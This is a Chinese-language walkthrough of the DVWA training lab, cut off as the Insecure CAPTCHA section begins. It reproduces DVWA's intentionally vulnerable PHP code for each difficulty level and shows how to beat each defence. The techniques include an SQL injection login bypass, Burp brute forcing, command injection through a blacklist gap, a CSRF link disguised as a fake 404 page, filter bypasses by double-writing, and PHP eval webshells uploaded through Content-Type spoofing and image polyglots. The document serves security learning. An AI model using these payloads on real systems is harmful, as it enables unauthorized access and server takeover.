DVWA闯关笔记
Note
- 文中
靶场链接
只有搭建DVWA
+开启服务器才能进入
Brute Force
Link
Low
Code
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ];
// Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
$html .= "<p>Welcome to the password protected area {$user}</p>";
$html .= "<img src=\"{$avatar}\" />";
}
else {
// Login failed
$html .= "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
方法一
- 查看源代码发现
username
存在注入漏洞
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
- 向
username
键入万能密码钥匙admin' OR '1'='1
- 完成登录
方法二
- 使用
BurpSuitePro
截断Login
请求
ctrl+i
送到Intruder
处理
- 在
Position
模块中使用Clear
清空变量后,选中要枚举的变量点击Add
,同时把username
改成admin
Attack type
选择Sniper
Sniper
–>单参数: 依次枚举Payloads
中的值
–>多参数: 其他参数固定,对一个参数进行枚举,变化该参数
Battering ram
–>单参数: 同Sniper
–>多参数: 每个参数使用同一个的密码,枚举密码
Pitchfork
–>单参数: 不支持
–>多参数: 对应多组密码集,密码集一一对应枚举
Cluster bomb
–>单参数: 不支持
–>多参数: 对应多组密码集,密码集一对多枚举
- 在
Payloads
栏中选择枚举的密码集,此处我没有密码集,则直接输入可能的密码。
- 点击右上角的
Start attack
,找到Length
最长的请求对应的Payload
即为密码
原理:
正确密码
和错误密码
返回的HTTP
消息实体不一致,导致Content-Length
大小不同
Medium
Code
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Sanitise username input
$user = $_GET[ 'username' ];
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
$html .= "<p>Welcome to the password protected area {$user}</p>";
$html .= "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( 2 );
$html .= "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
方法
- 观察源代码发现,
Sql
注入被屏蔽
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
mysql_real_escape_string()
函数会对字符串中的特殊符号进行转义,基本上能够抵御Sql
注入攻击。
md5()
函数对字符串进行校验,用校验值进行匹配,阻挡了Sql
注入
- 故此处使用
BurpSuitePro
爆破,方法同Low
High
Code
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Sanitise username input
$user = $_GET[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
$html .= "<p>Welcome to the password protected area {$user}</p>";
$html .= "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( rand( 0, 3 ) );
$html .= "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
方法
- 检查源代码发现在抵挡
Sql
注入的基础上,增加了令牌user_token
来防止CSRF
和重放攻击
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
原理: 在前台页面中放置一个隐藏域用于存放
session
中的token
,当第一次提交时验证token
相同后,会将session
中的token
信息更新,页面重复提交时,因为表单中的token
值没有更新,所以提交失败。
- 使用
BurpSuitePro
爆破password
和user_token
Recursive grep
: 递归匹配,每次从服务器的响应中获取user_token
更新表单token
- 选择
password
和user_token
作为枚举变量,Attack type
选择Pitchfork
- 对第一个
Payload set
设置枚举的password
- 对于第二个
Payload set
选择Recursive grep
模式
- 在
Option
中,Request Engine
设置线程为1
,Grep-Extract
抓取令牌,在最后将Redirections
-Follow redirections
改为Always
Recursive grep
: 不支持多线程,需要把线程改为1
点击
Refetch response
刷新
总是接受重定向,保证多次攻击能够进行
Start attack
开始攻击,选择length
长度与众不同的
Impossible
Code
<?php
if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Sanitise username input
$user = $_POST[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_POST[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Default values
$total_failed_login = 3;
$lockout_time = 15;
$account_locked = false;
// Check the database (Check user information)
$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
// Check to see if the user has been locked out.
if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) {
// User locked out. Note, using this method would allow for user enumeration!
//$html .= "<pre><br />This account has been locked due to too many incorrect logins.</pre>";
// Calculate when the user would be allowed to login again
$last_login = strtotime( $row[ 'last_login' ] );
$timeout = $last_login + ($lockout_time * 60);
$timenow = time();
/*
print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
*/
// Check to see if enough time has passed, if it hasn't locked the account
if( $timenow < $timeout ) {
$account_locked = true;
// print "The account is locked<br />";
}
}
// Check the database (if username matches the password)
$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR);
$data->bindParam( ':password', $pass, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
// If its a valid login...
if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
// Get users details
$avatar = $row[ 'avatar' ];
$failed_login = $row[ 'failed_login' ];
$last_login = $row[ 'last_login' ];
// Login successful
$html .= "<p>Welcome to the password protected area <em>{$user}</em></p>";
$html .= "<img src=\"{$avatar}\" />";
// Had the account been locked out since last login?
if( $failed_login >= $total_failed_login ) {
$html .= "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
$html .= "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
}
// Reset bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
} else {
// Login failed
sleep( rand( 2, 4 ) );
// Give the user some feedback
$html .= "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";
// Update bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
// Set the last login time
$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
代码审计
-
加入
user_token
➡防止CSRF
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); generateSessionToken();
-
清洗两个输入➡防止
Sql
注入$user = $_POST[ 'username' ]; $user = stripslashes( $user ); $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass = $_POST[ 'password' ]; $pass = stripslashes( $pass ); $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass = md5( $pass );
-
设置
3
次登陆失败后,需等待15
分钟➡一定程度上防止爆破$total_failed_login = 3; $lockout_time = 15; $account_locked = false;
-
使用预备义语句和参数化查询,对于带有任何参数的
sql
语句都会被发送到数据库服务器解析➡防止Sql
注入$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); $row = $data->fetch();
Command Injection
Link
Low
Code
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}
?>
方法
-
通过源代码发现代码存在
命令注入
漏洞,可直接输入命令执行$cmd = shell_exec( 'ping ' . $target ); $cmd = shell_exec( 'ping -c 4 ' . $target );
-
输入
127.0.0.1&
+Your command
&
作连接符,表示前者运行后运行后者
&&
作逻辑运算,表示前者运行成功后后者才能运行 -
Submit
提交,注入成功
Medium
Code
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
//Same as Low
...
?>
方法
-
发现
Medium
的代码比Low
多了排除&&
和;
的部分$substitutions = array( '&&' => '', ';' => '', ); $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
str_replace()
函数返回替换后的结果,可导致&&
和;
被剔除 -
由于
Low
中使用的是&
,并不会被屏蔽,故方法同Low
High
Code
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
//Same as Low
...
?>
方法
-
仔细观察代码,发现新增了黑名单
$substitutions = array( '&' => '', ';' => '', '| ' => '', '-' => '', '$' => '', '(' => '', ')' => '', '`' => '', '||' => '', );
-
其中对
|
的屏蔽后方多打了一个空格,导致|
被漏掉,故从此下手
-
Submit
提交后得到响应
Impossible
Code
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );
// Split the IP into 4 octects
$octet = explode( ".", $target );
// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
$html .= '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
代码审计
-
user_token
检验➡防止CSRF
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); generateSessionToken();
-
拆分输入,重新组合➡防止
Sql
注入$target = $_REQUEST[ 'ip' ]; $target = stripslashes( $target ); $octet = explode( ".", $target );
CSRF
Link
Low
Code
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
方法
-
通过
GET
请求上传需要修改的密码,只对确认密码是否与新密码相同进行判断。 -
对密码进行转义字符过滤,未对
CSRF
做任何防御。 -
由于链接名太过暴露,很容易被识别出来,于是使用短链接(短网址入口)将链接压缩。
#原链接
http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=12345&password_conf=12345&Change=Change#
#短链接
http://dwz-5.cn/1CpK
-
访问短链接,即可完成密码修改(改成12345)。
-
然而暴露的链接仍然不易被点击,于是第二种方法制造攻击页面,将链接伪造成一个
404
的页面,让客户端误以为网页出了问题。
<html>
<h1>404<h1>
<h2>File not found.<h2>
<a href="http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=12345&password_conf=12345&Change=Change#">Return</a>
</html>
-
页面效果
-
点击
Return
按钮即可跳转到攻击页面。
注:此处本来使用 隐藏图片 形式,通过页面加载图片的形式访问攻击页面(代码如下),但刷新页面之后密码并未改变。
使用抓包工具测试,发现页面仍会请求链接。分析报文得知,点击式链接会自带
Cookies
,而隐藏图片访问时不会自动发送。
<img src="http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=12345&password_conf=12345&Change=Change#" border="0" style="display:none;"/>
Medium
Code
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Same as Low
...
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}
...
}
方法
- 在
Low
的基础上增加了stripos函数,匹配HTTP
报文中的REFERER
参数($_SERVER[ 'HTTP_REFERER' ]
)是否包含HOST
参数($_SERVER[ 'SERVER_NAME' ]
)。
HTTP_REFERER
表示发送请求的来源;
SERVER_NAME
表示配置默认的二级域名,不会是当前的域名;
HTTP_HOST
才是当前的url
头部;
HTTP_HOST = SERVER_NAME : SERVER_PORT
- 同样使用
GET
请求的方法,不过在Low
的基础上使用抓包工具修改报文。 HOST
字段直接复制到REFERER
,即可绕过匹配。
High
Code
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Same as Medium
...
}
...
// Generate Anti-CSRF token
generateSessionToken();
?>
方法
- 在
Low
基础上加入了Anti-CSRF token
来进行身份验证。
token
是服务端随机生成的一串字符串,作为客户端进行请求的一个标识。服务器生成一个
token
并将此token
返回给客户端,以后客户端只需带上这个token
前来请求数据即可,无需再次带上用户名和密码。
-
在页面隐藏元素中可以找到
user_token
。 -
利用该
token
,将其加入链接变量中,即可通过token
验证。
Impossible
Code
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_curr = $_GET[ 'password_current' ];
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Sanitise current password input
$pass_curr = stripslashes( $pass_curr );
$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_curr = md5( $pass_curr );
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();
// Do both new passwords match and does the current password match the user?
if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
// It does!
$pass_new = stripslashes( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database with new password
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match or current password incorrect.</pre>";
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
代码审计
- 在
High
的基础上加入了现密码的匹配,导致攻击者无法伪造危险链接,从源头上杜绝了CSRF
的发生。
File Inclusion
Link
Low
Code
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
方法
- 从源码可以发现,文件打开时没有任何防护,可以直接运行服务器内和本地文件
1.php
打印当前文件名<?php echo __file__; ?>
- 打开远程文件
Medium
Code
# Same as Low
...
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
方法
- 在
Low
的基础上增加了远程访问屏蔽和目录穿越过滤,导致远程文件和穿越目录访问失败。
- 为了绕过过滤,这里使用双写,即将
http://
的/
中间加入一个http://
,后者会被转换为空,则形成了完整的链接。
High
Code
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
方法
- fnmatch可以测试访问链接是否符合文件,于是发现本地调用仍然可行。
Impossible
Code
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
代码审计
- 强行规定路径名称为合法文件名,无法进行本地调用和远程调用。
File Upload
Link
Low
Code
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
?>
方法
-
可以看出这里没有做任何的防护,把非图片文件
木马拖入也不会报错
-
木马的区别
# 运行PHP函数 eval($_REQUEST['cmd']) # 使用`Linux`系统命令 system($_REQUEST['cmd']) # WebShell工具连接 @eval($_POST['cheuhxg'])#PHP eval request("cheuhxg")#ASP
-
访问
../../hackable/uploads/
可以找到对应传入文件
Medium
Code
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
//Same as Low
...
?>
方法
-
可以看出在
Low
的基础上增加了文件类型(image
)和大小(100000Byte
)的限制( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&( $uploaded_size < 100000 )
-
上传
get.php
脚本,get.php
使用工具连接<?php @eval($_POST["cheuhxg"]); ?>
-
使用
BurpSuitePro
修改Content-Type
,使得脚本格式掩盖成image
-
点击
Forward
发送,发现绕过成功
-
使用中国蚁剑
antSword
连接这个webshell
,目的达成
High
Code
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
//Same as Medium
...
?>
方法
-
源代码进行了后缀检查,必须要符合
jpg
||jpeg
||png
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) && ( $uploaded_size < 100000 ) && getimagesize( $uploaded_tmp ) )
strrpos()
函数找到字符串最后一次出现位置
$uploaded_ext
定义为最后一个后缀名
getimagesize()
函数获取图像文件大小 -
这里用图片拼接木马传入
-
查看图片代码发现木马已经嵌入
注意控制图片大小
-
传入图片,成功
- 按理说此时用
antSword
可以连接这个shell
,但是总显示没连接上,存疑
Impossible
Code
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {
// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );
// Can we move the file to the web root from the temp folder?
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// Yes!
echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
}
else {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
// Delete any temp files
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
代码审计
-
这里使用
token
防止CSRF
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); generateSessionToken();
-
md5()
使得文件名被重置,无法实现工具连接(找不到文件)$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
-
图片代码重组,防止恶意代码拼接
if( $uploaded_type == 'image/jpeg' ) { $img = imagecreatefromjpeg( $uploaded_tmp ); imagejpeg( $img, $temp_file, 100); } else { $img = imagecreatefrompng( $uploaded_tmp ); imagepng( $img, $temp_file, 9); } imagedestroy( $img );
Insecure CAPTCHA
Link
Low
Code
<?php
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
